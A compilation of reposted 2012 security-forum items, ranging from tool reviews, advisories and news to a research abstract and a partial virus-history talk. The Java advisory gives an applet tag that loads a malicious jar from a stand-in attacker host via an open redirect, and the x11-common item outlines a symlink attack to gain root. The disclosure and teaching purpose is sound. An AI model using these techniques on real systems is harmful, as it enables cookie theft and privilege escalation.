Nytro

[h=3]BackTrack tool review: goofile[/h] [h=2]08 March 2012[/h] Note: This is part of a series on BackTrack 5 tool reviews. It is not meant to be an exhaustive analysis of any tool, just a demonstration of the tool using real-world targets. Goofile is a simple script that searches Google for specific file types from specific domains. This is useful if you're looking for specific types of files because it parses the results for you. root@bt:/pentest/enumeration/google/goofile# ./goofile.py ------------------------------------- |Goofile v1.5 | |Coded by Thomas (G13) Richards | |www.g13net.com | |code.google.com/p/goofile | ------------------------------------- Goofile 1.5 usage: goofile options -d: domain to search -f: filetype (ex. pdf) example:./goofile.py -d test.com -f txt Using un.org (one of our common examples), we can quickly put together a list of PDF files from the domain: root@bt:/pentest/enumeration/google/goofile# ./goofile.py -d un.org -f pdf ------------------------------------- |Goofile v1.5 | |Coded by Thomas (G13) Richards | |www.g13net.com | |code.google.com/p/goofile | ------------------------------------- Searching in un.org for pdf ======================================== Files found: ==================== www.un.org/sport2005/a_year/questions.pdf www.un.org/un60/60ways_short.pdf www.un.org/millenniumgoals/MDG2011_Asia_EN.pdf www.un.org/millenniumgoals/MDG2011_na_EN.pdf www.un.org/largerfreedom/executivesummary.pdf www.un.org/summit2005/events_schedule.pdf www.un.org/secureworld/report3.pdf www.un.org/millenniumgoals/MDG2011_PRa_EN.pdf www.un.org/WCAR/durban.pdf www.un.org/summit2005/calendar.pdf www.un.org/secureworld/report.pdf www.un.org/secureworld/report2.pdf www.un.org/millenniumgoals/MDG2011_SSA_EN.pdf www.un.org/WCAR/aconf189_12.pdf www.un.org/peace/bnote010101.pdf www.un.org/events/res_1325e.pdf www.un.org/secureworld/brochure.pdf www.un.org/millenniumgoals/MDG2012_MediaContact_EN.pdf www.un.org/peace/ppbm.pdf www.un.org/millenniumgoals/MDG2011_cca_EN.pdf www.un.org/millenniumgoals/MDG2011_wa_EN.pdf www.un.org/smallislands2005/parallel.pdf www.un.org/esa/population/publications/adoption2010/child_adoption.pdf www.un.org/en/hq/dm/pdfs/RFS_Accountability.pdf www.un.org/esa/population/publications/reprobehavior/partrepro.pdf www.un.org/depts/los/general_assembly/study/study_files/unep_basel_convention.pdf www.un.org/depts/los/general_assembly/.../unep_basel_convention.pdf www.un.org/depts/los/general_assembly/study/study_files/germany_e.pdf www.un.org/depts/los/general_assembly/study/study.../germany_e.pdf www.un.org/events/smallarms2005/bms_faq_e.pdf www.un.org/democracyfund/Docs/UU13.pdf www.un.org/partnerships/Docs/Newsletter.pdf www.un.org/millenniumgoals/pdf/mg1_hunger_badiane.pdf www.un.org/russian/summit2005/outcome.pdf www.un.org/democracyfund/Docs/UNDEF_brochure.pdf www.un.org/millenniumgoals/pdf/rockefeller_march_25_prep.pdf www.un.org/disabilities/documents/user_survivor_initiatives.pdf www.un.org/millenniumgoals/pdf/PR_Africa_MDG09_EN.pdf www.un.org/partnerships/Docs/Fellows_2010_bios.pdf www.un.org/partnerships/Docs/GSCP_Guide.pdf www.un.org/millenniumgoals/pdf/josette_sheeran_8mar2010.pdf www.un.org/durbanreview2009/pdf/summary_report.pdf www.un.org/millenniumgoals/pdf/MDG_FS_7_EN.pdf www.un.org/millenniumgoals/pdf/sha_zukang_8mar2010.pdf www.un.org/millenniumgoals/pdf/mdg_snapshot_16mar.pdf www.un.org/webcast/pdfs/21century59.pdf www.un.org/esa/peacebuilding/mapping.pdf www.un.org/partnerships/Docs/MSD_Partnerships.pdf www.un.org/chinese/millenniumgoals/MDGProgressChart2006.pdf www.un.org/partnerships/Docs/Organisation_UNOP.pdf www.un.org/millenniumgoals/pdf/MDG2010_PR_EN.pdf www.un.org/sg/ethicalstandards/PublicDisclosure.pdf www.un.org/durbanreview2009/pdf/E_Bulletin_Issue1_10_2008.pdf www.un.org/millenniumgoals/pdf/Press_release_MDG_Gap_2009.pdf www.un.org/democracyfund/Docs/UU09.pdf www.un.org/sg/files/staff_fd_form.pdf www.un.org/WCAR/journal/j31aug.pdf www.un.org/law/books/IntlLawAsLanguageForIntlRelations.pdf www.un.org/democracyfund/Docs/Worth_Reading_Laos_Newsletter_Vol1.pdf www.un.org/democracyfund/.../Worth_Reading_Laos_Newsletter_Vol1.pdf www.un.org/partnerships/Docs/Philanthropy_UK_profile_Ted_Turner.pdf www.un.org/millenniumgoals/pdf/EPG_Report_031511_B_ENGLISH_w.pdf www.un.org/millenniumgoals/.../EPG_Report_031511_B_ENGLISH_w.pdf www.un.org/millenniumgoals/sgreport2004.pdf www.un.org/webcast/pdfs/21century60Azerbaijan.pdf www.un.org/millenniumgoals/pdf/MDG_H_LatinAm.pdf www.un.org/law/technical/FinalReport.pdf www.un.org/millennium/declaration/ares552e.pdf www.un.org/regionalcommissions/CSW2010/escwa.pdf panel.pdf www.un.org/waterforlifedecade/pdf/05_2010_reader_financing_eng.pdf www.un.org/millenniumgoals/pdf/WaterAid_sanitation_and_water.pdf www.un.org/disabilities/documents/review_of_disability_and_the_mdgs.pdf endviolence.un.org/pdf/unite_framework_en.pdf www.un.org/millenniumgoals/pdf/MDG_PR_EN.pdf www.un.org/law/trustfund/eterms.pdf www.un.org/regionalcommissions/CSW2010/eclac.pdf www.un.org/disabilities/documents/csw56_ortoleva.pdf www.un.org/millenniumgoals/pdf/mdg_pressrel_sept2010.pdf www.un.org/millenniumgoals/pdf/MDG_FS_8_EN.pdf www.un.org/waterforlifedecade/pdf/05_2011_human_right_to_water_reader_eng.pdf www.un.org/.../pdf/05_2011_human_right_to_water_reader_eng.pdf www.un.org/webcast/pdfs/21century62.pdf www.un.org/millenniumgoals/sgreport2002.pdf www.un.org/democracyfund/Docs/UU_11.pdf www.un.org/webcast/pdfs/21century45.pdf www.un.org/waterforlifedecade/pdf/hrw_glossary_eng.pdf www.un.org/law/books/CollectionOfEssaysByLegalAdvisers.pdf www.un.org/millenniumgoals/pdf/PR_NorthAfrica_MDG09_EN.pdf www.un.org/millenniumgoals/SG_MDGREport2011_ecosoc-7july2011.pdf www.un.org/durbanreview2009/pdf/InfoNote_10_Indigenous_Peoples_En.pdf www.un.org/ga/civilsocietyhearings/infonote.pdf www.un.org/democracyfund/Docs/AfricanCharterDemocracy.pdf www.un.org/democracyfund/Docs/Third_Round.pdf www.un.org/media/main/roadmap122002.pdf www.un.org/millenniumgoals/pdf/MDG_G_CIS.pdf www.un.org/docs/sc/Forecast.pdf www.un.org/WCAR/journal/journalE.pdf www.un.org/millenniumgoals/2011_Gap_Report/2011MDGGAP_PR_EN.pdf www.un.org/millenniumgoals/2011_Gap.../2011MDGGAP_PR_EN.pdf www.un.org/millenniumgoals/pdf/MDG_FS_2_EN.pdf www.un.org/durbanreview2009/pdf/InfoNote_09_Peoples_of_African_Descent_En.pdf www.un.org/.../pdf/InfoNote_09_Peoples_of_African_Descent_En.pdf www.un.org/millenniumgoals/pdf/MDG_FS_4_EN.pdf www.un.org/partnerships/Docs/BJ_Speech.pdf www.un.org/waterforlifedecade/pdf/water_for_life_award_eng.pdf www.un.org/millenniumgoals/pdf/MDG_C_Asia.pdf www.un.org/webcast/pdfs/unia1326.pdf ==================== Sursa: http://theprez98.blogspot.com/2012/03/backtrack-tool-review-goofile.html

[h=1]The big leak: Microsoft's epic security fail[/h]March 19, 2012 [h=2]It appears the source of a recent zero-day exploit was Microsoft's program to prevent zero-day exploits. Why is Cringely not surprised?[/h] By Robert X. Cringely | InfoWorld Some words just seem to go together: "bread" and "butter"; "trial" and "error"; "Microsoft" and "security breach." The MS12-020 Remote Desktop Protocol vulnerability revealed last week shows once again that when it comes to data security, Microsoft is its own worst enemy and any "secure" system can be compromised. As Computerworld's Gregg Keizer reports, the proof-of-concept RDP exploit was developed by Italian security wonk Luigi Auriemma last May. He passed it on to HP's bug bounty program, aka the Zero Day Initiative, in August. HP's ZDI passed Auriemma's code to Microsoft, which shared it with its 79 antivirus security partners in its Microsoft Active Protections Program (MAPP). That list includes the biggest names in computer security, as well as some lesser-known European and Asian firms. Somewhere along the line that code escaped from the lab and is now in the wild, infecting unsuspecting citizens and creating an army of flesh-eating zombies. [ Cringely calls attention to a different sort of attack on your system, mounted by the piracy bullies. | For a humorous take on the tech industry's shenanigans, subscribe to Robert X. Cringely's Notes from the Underground newsletter. | Get the latest insight on the tech news that matters from InfoWorld's Tech Watch blog. ] (Sorry, I was confusing it with "The Walking Dead." My bad.) Last week Auriemma found the exploit code he'd created on a Chinese website, along with telltale signs that proved it was the same code he had written and that this code had been passed on to Microsoft before being leaked. Now we have three key suspects: Mr. Ballmer in the library with the candlestick, Ms. Whitman in the conservatory with the rope, or Premier Wen Jiabao in the lotus garden with the rainbow sword. Microsoft is pointing the finger at its MAPP partners, and it's probably right, given how easily Symantec was pwned by ********* for its source code last year. I'm not saying Symantec is the leaker (though that's the first place I'd look, simply because of the hack) or that ********* is the leakee. If it were the Anons, you'd think they'd be crowing their heads off about that right about now. Still, you wouldn't have to be a hacking mastermind to pull this off. A little social engineering to gain access to an email list, a quick search of the inbox for a message containing the log-on and password to the MAPP program -- boom, you're in. Then post the code on a hacker-friendly forum and wait for the walls to come tumbling down. The effect of the RDP vulnerability, if you're unlucky enough to encounter it: the blue screen of death. In other words, no perceptible difference from Windows' normal operation. And Microsoft has already released a patch. No harm, no foul, right? Not exactly. Unless this leak is found and patched immediately, the system created to combat zero-day exploits could soon become the leading source for zero-day exploits. The RDP attack can't be the only bad code these guys were playing with, and the next worm-ready malware may not be so benign or so obvious. Even if this leaks begins and ends with the RDP exploit, this system has been compromised and can no longer be trusted. Without an early-warning system for these kinds of exploits, we all just got a whole lot less secure. As Luigi wrote on his personal site: f the author of the leak is one of the MAPP partners... it's the epic fail of the whole system, what do you expect if you give the [proof of concept] to your "super trusted" partners? Epic fail. Another two words that go together -- like "Microsoft" and "insecurity." Is this leak as serious as it sounds? Did I leave any metaphor unturned? Post your thoughts below or email me: cringe@infoworld.com. This article, "The big leak: Microsoft's epic security fail," was originally published at InfoWorld.com. Follow the crazy twists and turns of the tech industry with Robert X. Cringely's Notes from the Field blog, and subscribe to Cringely's Notes from the Underground newsletter. Sursa: The big leak: Microsoft's epic security fail | Cringely - InfoWorld

[h=1]Compiling Nmap for Android[/h] Compile Nmap for Android This tutorial will show you how to compile the latest version of Nmap for your Android device starting with a standard Ubuntu install. I will offer instructions on how to obtain two versions of compiler that I’ve had success compiling software for Android. I will show the Android NDK and the free Lite ARM compiler from Mentor (formally Code Sorcery). Hopefully you can take this instruction to try and compile other tools for Android. The build environment and instructions come from an auditor with strong technical skills but somebody who is not a programmer or developer so hopefully my view point can help other individuals who are also not developers. I’ve built cross-compile environments for Openwrt, Nokia Maemo, Familiar Linux (iPaq) in the past but always from piecing together instructions from multiple Google queues and forum searches. I’m creating this document so it will be helpful for someone somebody elses Google search. After the Ubuntu installation here are ALL the steps you can/should take to compile Nmap for Android. I like vim as my command-line editor. You can use which ever editor you prefer. Here is a quick rundown of what is done. Everything (almost) is done from a terminal window. I update all Ubuntu software and install all files and tools to compile software on Ubuntu I download the software required to compile for Android Setup the environment to compile for Android I create a source folder in the home directory for downloading and compiling the software. Download the software, patch, configure, and compile. Install Android SDK Platform Tools to copy files to your phone Copy files to the phone and set PATH environment variable. (read more) (download PDF) Download: http://www.jedge.com/docs/Compile%20Nmap%20for%20Android.pdf Sursa: Compiling Nmap for Android

[h=1]Adobe Photoshop 12.1 Tiff Parsing Use-After-Free[/h] ##################################################################################### Application: Adobe Photoshop 12.1 Tiff Parsing Use-After-Free Platforms: Windows {PRL}: 2012-07 Author: Francis Provencher (Protek Research Lab's) Website: http://www.protekresearchlab.com/ Twitter: @ProtekResearch ##################################################################################### 1) Introduction 2) Report Timeline 3) Technical details 4) POC ##################################################################################### =============== 1) Introduction =============== Adobe Photoshop is a graphics editing program developed and published by Adobe Systems Incorporated. Adobe's 2003 "Creative Suite" rebranding led to Adobe Photoshop 8's renaming to Adobe Photoshop CS. Thus, Adobe Photoshop CS5 is the 12th major release of Adobe Photoshop. The CS rebranding also resulted in Adobe offering numerous software packages containing multiple Adobe programs for a reduced price. Adobe Photoshop is released in two editions: Adobe Photoshop, and Adobe Photoshop Extended, with the Extended having extra 3D image creation, motion graphics editing, and advanced image analysis features.[6] Adobe Photoshop Extended is included in all of Adobe's Creative Suite offerings except Design Standard, which includes the Adobe Photoshop edition. Alongside Photoshop and Photoshop Extended, Adobe also publishes Photoshop Elements and Photoshop Lightroom, collectively called "The Adobe Photoshop Family". In 2008, Adobe released Adobe Photoshop Express, a free web-based image editing tool to edit photos directly on blogs and social networking sites; in 2011 a version was released for the Android operating system and the iOS operating system.[7][8] Adobe only supports Windows and Macintosh versions of Photoshop, but using Wine, Photoshop CS5 can run well on Linux (http://en.wikipedia.org/wiki/Adobe_Photoshop) ##################################################################################### ============================ 2) Report Timeline ============================ 2011-09-20 Vulnerability reported to Adobe 2012-03-20 Publication of this advisory (180 days after reporting to the vendor) ##################################################################################### ============================ 3) Technical details ============================ The vulnerability is caused due to an error when processing Tiff file format image, which can be exploited to cause a use-after-free by e.g. tricking a user into opening a specially crafted file. ##################################################################################### =========== 4) POC =========== http://www.protekresearchlab.com/exploits/PRL-2012-07.tif http://www.exploit-db.com/sploits/18633.tif Sursa: Adobe Photoshop 12.1 Tiff Parsing Use-After-Free

[h=2]Locating Domain Controllers[/h] So I just setup a mini enterprise environment with a domain controller (tip: win2k8r2 can be used free for 180 days)and a client. I decided to run wireshark while I added the client to the new domain, which resulted in the following screenshot: Now that looks rather interesting when you want to locate domain controllers doesn’t it? Let’s give it a go with nslookup [INDENT]C:\>nslookup -type=SRV _ldap._tcp.dc._msdcs.pen.test Server: UnKnown Address: 192.168.164.128 _ldap._tcp.dc._msdcs.pen.test SRV service location: priority = 0 weight = 100 port = 389 svr hostname = win-62u3ql0g1ia.pen.test win-62u3ql0g1ia.pen.test internet address = 192.168.164.128 win-62u3ql0g1ia.pen.test internet address = 192.168.126.133 [/INDENT] Now isn’t that neat? It’s like a quick and easy way to find the available domain controllers in a network, if you know the domain name. Additionally it seems that the client communicates with the domain controller using CLDAP. I didn’t find a suitable Linux client, but in the links below you’ll find a perl script capable of performing the so called “LDAP Ping“, the other option is of course using a windows client. The output of the script is similar to the one shown in Wireshark which looks as follow: Now I can’t be the only one doing this, so I googled around a bit and found some nice additional material worth the read, they are summed up below: http://support.microsoft.com/kb/24781 ftp://pserver.samba.org/pub/unpacked/samba_3_waf/examples/misc/cldap.pl http://msdn.microsoft.com/en-us/library/cc223799(v=prot.10).aspx MS-CLDAP - The Wireshark Wiki SRV Resource Records Sursa: Locating Domain Controllers

Portable Executable File Format – A Reverse Engineer View Goppit January 2006 Abstract This tutorial aims to collate information from a variety of sources and present it in a way which is accessible to beginners. Although detailed in parts, it is oriented towards reverse code engineering and superfluous information has been omitted. Download: http://ivanlef0u.fr/repo/windoz/pe/CBM_1_2_2006_Goppit_PE_Format_Reverse_Engineer_View.pdf

Signing Me onto Your Accounts through Facebook and Google: a Traffic-Guided Security Study of Commercially Deployed Single-Sign-On Web Services Rui Wang Indiana University Bloomington Bloomington, IN, USA wang63 @indiana.edu Shuo Chen Microsoft Research Redmond, WA, USA shuochen @microsoft.com XiaoFeng Wang Indiana University Bloomington Bloomington, IN, USA xw7 @indiana.edu Abstract— With the boom of software-as-a-service and social networking, web-based single sign-on (SSO) schemes are being deployed by more and more commercial websites to safeguard many web resources. Despite prior research in formal verification, little has been done to analyze the security quality of SSO schemes that are commercially deployed in the real world. Such an analysis faces unique technical challenges, including lack of access to well-documented protocols and code, and the complexity brought in by the rich browser elements (script, Flash, etc.). In this paper, we report the first “field study” on popular web SSO systems. In every studied case, we focused on the actual web traffic going through the browser, and used an algorithm to recover important semantic information and identify potential exploit opportunities. Such opportunities guided us to the discoveries of real flaws. In this study, we discovered 8 serious logic flaws in high-profile ID providers and relying party websites, such as OpenID (including Google ID and PayPal Access), Facebook, JanRain, Freelancer, FarmVille, Sears.com, etc. Every flaw allows an attacker to sign in as the victim user. We reported our findings to affected companies, and received their acknowledgements in various ways. All the reported flaws, except those discovered very recently, have been fixed. This study shows that the overall security quality of SSO deployments seems worrisome. We hope that the SSO community conducts a study similar to ours, but in a larger scale, to better understand to what extent SSO is insecurely deployed and how to respond to the situation. Keywords— Single-Sign-O Download: http://research.microsoft.com/pubs/160659/websso-final.pdf

[h=2]Debian's x11-common init script weakness (CVE-2012-1093)[/h] The init script issued from the x11-common Debian package is vulnerable to a traditional symlink attack that can lead to a privilege escalation while the package is being installed. This bug isn't very critical (except if you install x11-common for the very first time on a multi-user system), but I wanted to leave a note about it because the vulnerable code is quite common and could be found in your own scripts. The code creates two temporary directories ($SOCKET_DIR and $ICE_DIR) in the following manner: $ cat -n /etc/init.d/x11-common [...] 11 set -e [...] 33 if [ -e $SOCKET_DIR ] && [ ! -d $SOCKET_DIR ]; then 34 mv $SOCKET_DIR $SOCKET_DIR.$$ 35 fi 36 mkdir -p $SOCKET_DIR 37 chown root:root $SOCKET_DIR 38 chmod 1777 $SOCKET_DIR A symlink attack looks impossible here as the script uses the "set -e" built-in command (the script aborts immediately when a command with a non-zero status is returned). I mean, if $SOCKET_DIR is a symlink, we could think that the "mkdir -p" command at line 36 would fail (at least, this behavior was expected by developers). But this is wrong, "mkdir" with the "-p" option returns zero if the target already exits: $ man mkdir [...] -p, --parents no error if existing, make parent directories as needed So the only thing to exploit this is to place a link that doesn't match the condition at line 33 (i.e. a symlink that point to an existing directory), and wait for the package to be installed. In this case, a symlink to the "/etc" directory would allow the user to set the 1777 permission on this directory and create the "/etc/ld.preload" file in order to load malicious libraries into a set-uid process. x11-common root exploit PoC I reported this bug, it was fixed with a very nice patch from jcristau in the version 1:7.6+12 of the x11-common package. Thanks to him. Debian bug report #661627 Sursa: Security

Exclusive - Source Code Spoofing with HTML5 and the LTO Character Article Written by John Kurlak for The Hacker News,He is senior studying Computer Science at Virginia Tech. Today John will teach us that How to Spoof the Source Code of a web page. For example,Open Source and Try to View Source Code of the Page ;-) Can you View ?? About eight months ago, I learned about HTML5’s new JavaScript feature, history.replaceState(). The history.replaceState() function allows a site developer to modify the URL of the current history entry without refreshing the page. For example, I could use the history.replaceState() function to change the URL of my page in the address bar from “http://www.kurlak.com/example.html” to “http://www.kurlak.com/example2.html” When I first learned of the history.replaceState() function, I was both skeptical and curious. First, I wanted to see if history.replaceState() supported changing the entire URL of a page, including the hostname. Fortunately, the developers were smart enough to prevent that kind of action. Next, I noticed that if I viewed the source code of a page after replacing the URL, it attempted to show the source code of the new page. I started brainstorming ways I could make the URL look the same but have a different underlying representation. Such a scenario would make it so that I could “hide” the source code of a page by masking it with another page. I remembered encountering a special Unicode character some time back that reversed all text that came after it. That character is called the “right to left override” (RTO) and can be produced with decimal code 8238. I tried to create an HTML page, “source.html,” that would use history.replaceState() to replace the URL of the page with: [RTO] + “lmth.ecruos” (the reversed text of “source.html”). When the browser rendered the new URL, the RTO character reversed the letters after it, making the browser display “source.html” in the address bar. However, when I went to view the source of the web page, my browser tried to view the source of “‮lmth.ecruos” instead (the characters, “‮,” are the ASCII representation of the hex codes used to represent the RTO character). Thus, I created a page, “‮lmth.ecruos” and put some “fake” source code inside. Now, when I went to “source.html,” the URL was replaced with one that rendered the same, and when I viewed the source of the page, it showed my “fake” source code. The code I used for “source.html” was: However, there was a downfall: if the user tried to type after the RTO character in the address bar, his or her text would show up backwards, a clear indication that something strange was going on. I brainstormed additional solutions. I soon found that there was also a “left to right override” (LTO) character. I discovered that placing the LTO character within text that is already oriented left to right does not do anything. I decided to add the LTO character to the end of my URL and used the following code: Then, I simply had to create “source.htmlâ€*” and put my “fake” source code in it. It worked! Now the user could type normally without seeing anything funny. However, this new code still has two downfalls. The first downfall is that the script appears to work only for Google Chrome (I tested the script in Chrome 17.0.963.79 m). Firefox 11 escapes the RTO character, so the user sees “%E2%80%AElmth.ecruos” in the URL bar instead of “source.html.” (I have had reports, however, that the “exploit” works in Firefox 11 on Linux. I have not yet confirmed those reports). Internet Explorer 9 does not yet support history.replaceState(), but apparently Internet Explore 10 will. Opera 11 and Safari 5 both show “source.html” in the address bar, but when I go to view the page source, both browsers bring up the code for the original “source.html.” The second downfall is that if the user tries to refresh the page, he or she will be taken to the fake HTML page. As far as I know, there is no sure way to prevent this side effect. Finally, I would like to point out that this “exploit” is just a cool trick. It cannot be used to prevent someone from retrieving the source code of a web page. If a browser can access a page’s source code, a human can access that page’s source code. Maybe someone else can think of a more interesting use of the trick. I hope you like it! You can download both sample files Here Submitted By : John Kurlak Website: http://www.kurlak.com Sursa: Exclusive - Source Code Spoofing with HTML5 and the LTO Character | The Hacker News (THN)

[h=2]Java Applet Same-Origin Policy Bypass via HTTP Redirect[/h] [h=3]Summary[/h] Java 1.7 and Java 1.6 Update 27 and below do not properly enforce the same-origin policy for applets which are loaded via URLs that redirect. A malicious user can take advantage of this flaw to attack websites which redirect to third party content. This issue was patched in both Java 7 and Java 6 as part of the October 2011 Critical Patch Update. This issue has been assigned CVE-2011-3546. [h=3]What is the same-origin policy[/h] From Wikipedia: In computing, the same origin policy is an important security concept for a number of browser-side programming languages, such as JavaScript. The policy permits scripts running on pages originating from the same site to access each other’s methods and properties with no specific restrictions, but prevents access to most methods and properties across pages on different sites. The origin for a Java applet is the hostname of the website where the applet is served from. So, for example, if I upload an applet to http://example.com/applet.jar, that applet’s origin is example.com. We care about the origin for security reasons: the same-origin policy ensures that an applet is only allowed to make HTTP requests back to the domain from which it originates (or to another domain which resolves to the same IP address, but we can ignore that behavior here). [h=3]So, where’s the security vulnerability?[/h] Under certain conditions, the JRE did not correctly determine the origin of an applet. Specifically, when loading an applet via a URL that performed an HTTP redirect, the Java plugin used the original source of the redirect, not the final destination, as the applet’s origin. If you’re confused, an example might help to illustrate things. Lets first start by imagining a website, example.com, that contains an open redirect. In other words, imagine that browsing to IANA — Example domains redirects the user to http://www.google.com using a 301 or 302 redirect. Now, lets consider an attacker who controls the domain evildomain.com. This is what the attacker does: Writes a malicious Java applet that accesses http://example.com Uploads that applet to http://evildomain.com/evil.jar Constructs a redirect from http://example.com to the malicious applet (http://example.com/redirect.php?url=http://evildomain.com/evil.jar) Creates a malicious page anywhere on the Internet containing the following HTML: ? [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 [/TD] [TD=class: code]<applet code="CSRFApplet.class" archive="http://example.com/redirect.php?url=http://evildomain.com/evil.jar" width="300" height="300"></applet> [/TD] [/TR] [/TABLE] So what happens when a user visits that page? Well, lets first think about what we would want to happen: The user loads the page The user’s browser fetches the Java applet. The Java applet executes. The Java applets tries to access http://example.com but fails because the applet was served up by http://evildomain.com, violating the same-origin policy. Now, here’s what actually happened: The user loads the page The user’s browser fetches the Java applet. The Java applet executes. The Java applets tries to access http://example.com AND SUCCEEDS !!! That behavior is dangerous for websites that redirect to third party content: since HTTP requests made via Java applets inherit a user’s cookies from the browser (minus those marked as HttpOnly), an attacker who exploits this vulnerability is able to steal sensitive information or perform a CSRF attack against a targeted website. Any users who have not upgraded to the latest version of Java are vulnerable to attack. [h=3]How to protect your website[/h] Java applets are client-side technology, but this vulnerability has a very real impact on website owners. Aside from waiting for your users to upgrade to the latest version of Java, here are some steps you can take to protect your site: [h=4]1. Block requests containing Java’s user-agent from accessing your redirects[/h] This solution is fairly simple. By denying requests made by Java applets to redirect scripts on your site, you can prevent a malicious applet from being loaded. The UAs you’ll want to block contain the string “Java/” (without the quotation marks). [Note: Blocking that string may be overly broad: I haven't researched whether other software claims to be Java. I'll update this post if I'm made aware of any conflicts.] [h=4]2. Use HttpOnly cookies[/h] Java is not able to read or make requests with cookies that are marked HttpOnly. As a result, this attack can not be used to access or make requests to the authenticated portion of any site that uses HttpOnly cookies. [h=4]3. Don’t redirect to third party content[/h] Open redirects are considered to be problematic for a number of reasons (including their use in phishing attacks). If at all possible, you should avoid them entirely, or heavily restrict the locations that they can redirect to. [h=3]Disclosure Timeline[/h] December 28th, 2010: Vulnerability discovered January 10th, 2011: Built two proofs of concept involving major websites (will not be disclosed publicly) January 11th, 2011: Email sent to vendor. Disclosed full details of vulnerability, including proofs of concept January 12th, 2011: Vendor acknowledges receipt of email January 25th, 2011: Followup email sent to vendor, inquiring about status January 26th, 2011: Vendor replies: issue is still being investigated February 15th, 2011: A Java SE Critical Patch Update is released March 15th, 2011: Followup email sent to vendor, inquiring about status March 18th, 2011: Vendor replies: issue is still being investigated March 24th, 2011, 5:44 AM: Vendor sends automated status report email that fails to mention this vulnerability March 24th, 2011, 8:04 AM: Followup email sent to vendor, inquiring about status March 24th, 2011, 4:44 PM: Vendor acknowledges vulnerability, plans to address in a future update April 25th, 2011: Vendor sends automated status report email that fails to mention this vulnerability May 23rd, 2011, 9:44 AM: Followup email sent to vendor inquiring about the status of a fix May 23rd, 2011, 2:24 PM: Vendor replies: plans to address vulnerability in October 2011 Java Critical Patch Update May 24th, 2011: Vendor sends automated status report email that fails to mention this vulnerability June 7th, 2011: A Java SE Critical Patch Update is released June 23rd, 2011: Vendor sends automated status report email that fails to mention this vulnerability July 22nd, 2011, 5:24 AM: Vendor sends automated status report email that fails to mention this vulnerability July 22nd, 2011, 8:04 AM: Followup email sent to vendor, inquiring about status July 22nd, 2011, 1:33 PM: Vendor replies, apologizes for not including vulnerability in status report. Reiterates that a fix for the vulnerability is targeted for the October 2011 Java Critical Patch Update July 28th, 2011: Java 7 is released. Testing reveals the vulnerability has not been patched. Email with vendor confirms. August 23rd, 2011: Vendor sends automated status report email. Vulnerability is now included and is marked “Issue fixed in main codeline, scheduled for a future CPU” September 23rd, 2011: Vendor sends automated status report email. Vulnerability is marked “Issue fixed in main codeline, scheduled for a future CPU” October 14th, 2011: Vendor sends out email confirming that vulnerability will be patched in CPU to be released on October 18th. October 18th, 2011: Java 6 Update 29 and Java 7 Update 1 are released, patching the vulnerability. [h=3]Anything else?[/h] It appears Firefox was vulnerable to a similar attack back in 2007: The blogger at beford.org noted that redirects confused Mozilla browsers about the true source of the jar: content: the content was wrongly considered to originate with the redirecting site rather than the actual source. This meant that an XSS attack could be mounted against any site with an open redirect even if it didn’t allow uploads. A published proof-of-concept demonstrates stealing the GMail contact list of users logged-in to GMail. It also appears that people have been aware of similar attacks against Java for a while now. I stumbled across a post on http://sla.ckers.org/ that mentioned using redirects to JARs as a way to steal cookies. I believe the “fix” referred to in the post (which only covers cookie stealing) was made in response to this vulnerability from 2010. If you have any questions about the vulnerability, please feel free to leave them in the comments! Sursa: https://nealpoole.com/blog/2011/10/java-applet-same-origin-policy-bypass-via-http-redirect/

Penetration testing business From: Krzysztof Marczyk <krzysztof.marczyk () software com pl> Date: Tue, 20 Mar 2012 17:08:47 +0100 PenTest Magazine has released a first issue of PenTest Market, *ONE AND ONLY * magazine about penetration testing business! PenTest Market 01/2012 | Issues | PenTest Magazine If you: - are IT Security related company owner - are IT professional looking for a job - are planning on becoming a IT Security professional - want to know the IT Security business from inside - are planning on starting your own IT Security company - want to know what are the clients expectations and demands from IT Security companies ...it means that this magazine is just for you! Don't wait, and see it in our brand new PenTest Market! PenTest Market 01/2012 | Issues | PenTest Magazine If you want to take part in creation of this magazine or have any questions, please contact us at krzysztof.marczyk () software com pl We will respond asap. Sursa: Full Disclosure: Penetration testing business

[h=1]The History and the Evolution of Computer Viruses: 1986-1991 [/h] Posted by david b. on March 19, 2012 CRO at F-Secure Mikko Hypponen provides a captivating insight into the onset and advancement of computer infections in his talk at Defcon 19 called “The History and the Evolution of Computer Viruses”. This part of the speech is dedicated to a detailed description of the first viruses that came on stage in 1986 – 1991, such as the ‘Brain’, ‘Omega’ and others. My name is Mikko Hypponen, and we’ll be doing the first session here talking about the history and evolution of computer viruses. I am from Finland. I’ve been playing around with viruses for the past 20 years, a little bit more than that. And we are at an interesting point in history, and I’ll get back to that in just a moment, and that’s the main reason why I wanted to speak about the whole evolution of where we’ve been, where we are right now, and where we will be going with malware, trojans, backdoors, worms, viruses. Now, all those years I’ve been working with the same company – F-Secure. So, we run antivirus labs around the world. And of course in the early days our operations were very small. A couple of guys in the lab analyzed everything by hand, reverse-engineered the code, built detection, tried to figure out how they spread. Today, all professional antivirus companies run massive labs around the world with automation, because we are, on typical day right now, receiving some range of 100,000 to 200,000 samples coming into our systems. So, obviously we can’t keep up with normal human power any more. [h=3]1986 – 1991[/h] But we’ll start from ‘Brain’. So, what you’re seeing on the image here is an original 5.25-inch floppy disk infected by ‘Brain’. Last year, around November, we were cleaning our labs and in one of the cupboards, we found this box which was full of 5.25-inch floppy disks. And that box had basically the first 100 PC viruses in it, including this ‘Brain.A’. And ‘Brain.A’ is considered to be – and is known to be – the first PC virus in history. That’s the first PC virus. We’ve seen before 1986, for example, some Apple II viruses and stuff like that. But this is actually important because we are still finding PC viruses today, right? So, I did the math, 1986 – 2011, that’s 25. It’s gonna be 25 years. And we had a meeting in the lab. Okay, what should we do about this? It’s gonna be 25 years since the first PC virus. And our media team thought that we should have some sort of social media campaign to raise awareness of computer security. And I thought that that’s boring, what about if I try to go and find the guys who wrote ‘Brain’ 25 years ago. And if I find them, I’ll speak with them, and I ask them, like, you know, why did you do it, what were you thinking, and what do you think about what you started 25 years ago. It’s gonna be 25 years since the first PC virus. And actually, doing that – like trying to find virus authors 25 years later – typically would be impossible. In case of ‘Brain’, it actually isn’t, and I’ll show you. Here is the actual boot code of a floppy infected by ‘Brain’. So, if you just take a closer look, you’ll see some text inside here (see image) saying ‘Welcome to the Dungeon, 1986, Basit and Amjad’, and Basit and Amjad are first names. They are Pakistani first names. Then there is a phone number and a street address. So, in February, I went to the town of Lahore in Pakistan, which was the address listed inside the ‘Brain’ code. So I knocked on the door. You wanna guess who was at the door? Basit and Amjad. They are still there. Nowadays these guys run an Internet operator, and it is a telco operator for the city of Lahore, and the company is called ‘Brain Telecommunications’. So, we had a very interesting chat about, 